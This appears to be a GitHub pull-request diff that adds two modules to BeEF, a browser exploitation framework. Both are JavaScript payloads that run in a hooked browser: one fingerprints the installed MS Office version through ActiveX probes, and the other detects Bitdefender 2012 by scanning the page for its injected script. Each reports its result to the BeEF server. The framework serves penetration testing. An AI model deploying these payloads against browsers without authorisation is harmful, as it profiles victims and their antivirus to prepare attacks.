Merge pull request #904 from Nbblrr/master
Add modules for detecting MS Office version and Bitdefender 2012 Fix issue #902 Fix issue #903
This commit is contained in:
44
modules/browser/detect_office/command.js
Normal file
44
modules/browser/detect_office/command.js
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
var ma = 1;
|
||||||
|
var mb = 1;
|
||||||
|
var mc = 1;
|
||||||
|
var md = 1;
|
||||||
|
try {
|
||||||
|
ma = new ActiveXObject("SharePoint.OpenDocuments.4")
|
||||||
|
} catch (e) {}
|
||||||
|
try {
|
||||||
|
mb = new ActiveXObject("SharePoint.OpenDocuments.3")
|
||||||
|
} catch (e) {}
|
||||||
|
try {
|
||||||
|
mc = new ActiveXObject("SharePoint.OpenDocuments.2")
|
||||||
|
} catch (e) {}
|
||||||
|
try {
|
||||||
|
md = new ActiveXObject("SharePoint.OpenDocuments.1")
|
||||||
|
} catch (e) {}
|
||||||
|
var a = typeof ma;
|
||||||
|
var b = typeof mb;
|
||||||
|
var c = typeof mc;
|
||||||
|
var d = typeof md;
|
||||||
|
var key = "No Office Found";
|
||||||
|
if (a == "object" && b == "object" && c == "object" && d == "object") {
|
||||||
|
key = "Office 2010"
|
||||||
|
}
|
||||||
|
if (a == "number" && b == "object" && c == "object" && d == "object") {
|
||||||
|
key = "Office 2007"
|
||||||
|
}
|
||||||
|
if (a == "number" && b == "number" && c == "object" && d == "object") {
|
||||||
|
key = "Office 2003"
|
||||||
|
}
|
||||||
|
if (a == "number" && b == "number" && c == "number" && d == "object") {
|
||||||
|
key = "Office Xp"
|
||||||
|
}
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "office="+key);
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
16
modules/browser/detect_office/config.yaml
Normal file
16
modules/browser/detect_office/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
detect_office:
|
||||||
|
enable: true
|
||||||
|
category: "Browser"
|
||||||
|
name: "Detect MS Office"
|
||||||
|
description: "This module detect the version of MS Office if installed"
|
||||||
|
authors: ["nbblrr"]
|
||||||
|
target:
|
||||||
|
working: ["IE"]
|
||||||
|
not_working: ["All"]
|
||||||
14
modules/browser/detect_office/module.rb
Normal file
14
modules/browser/detect_office/module.rb
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
class Detect_office < BeEF::Core::Command
|
||||||
|
|
||||||
|
def post_execute
|
||||||
|
content = {}
|
||||||
|
content['office'] = @datastore['office']
|
||||||
|
save content
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
17
modules/host/detect_bitdefender2012/command.js
Normal file
17
modules/host/detect_bitdefender2012/command.js
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
var temp=document.body.innerHTML;
|
||||||
|
var key="netdefender/hui/ndhui.js";
|
||||||
|
if(temp.indexOf(key)>0) {
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Installed');
|
||||||
|
} else {
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Not Installed');
|
||||||
|
};
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
15
modules/host/detect_bitdefender2012/config.yaml
Normal file
15
modules/host/detect_bitdefender2012/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
detect_bitdefender2012:
|
||||||
|
enable: true
|
||||||
|
category: "Host"
|
||||||
|
name: "Detect Bit Defender 2012"
|
||||||
|
description: "This module detect the javascript code automatically included by Bitdefender 2012"
|
||||||
|
authors: ["nbblrr"]
|
||||||
|
target:
|
||||||
|
working: ["ALL"]
|
||||||
13
modules/host/detect_bitdefender2012/module.rb
Normal file
13
modules/host/detect_bitdefender2012/module.rb
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
|
||||||
|
class Detect_bitdefender2012 < BeEF::Core::Command
|
||||||
|
|
||||||
|
def post_execute
|
||||||
|
save({'BitDefender' => @datastore['bitdefender']})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user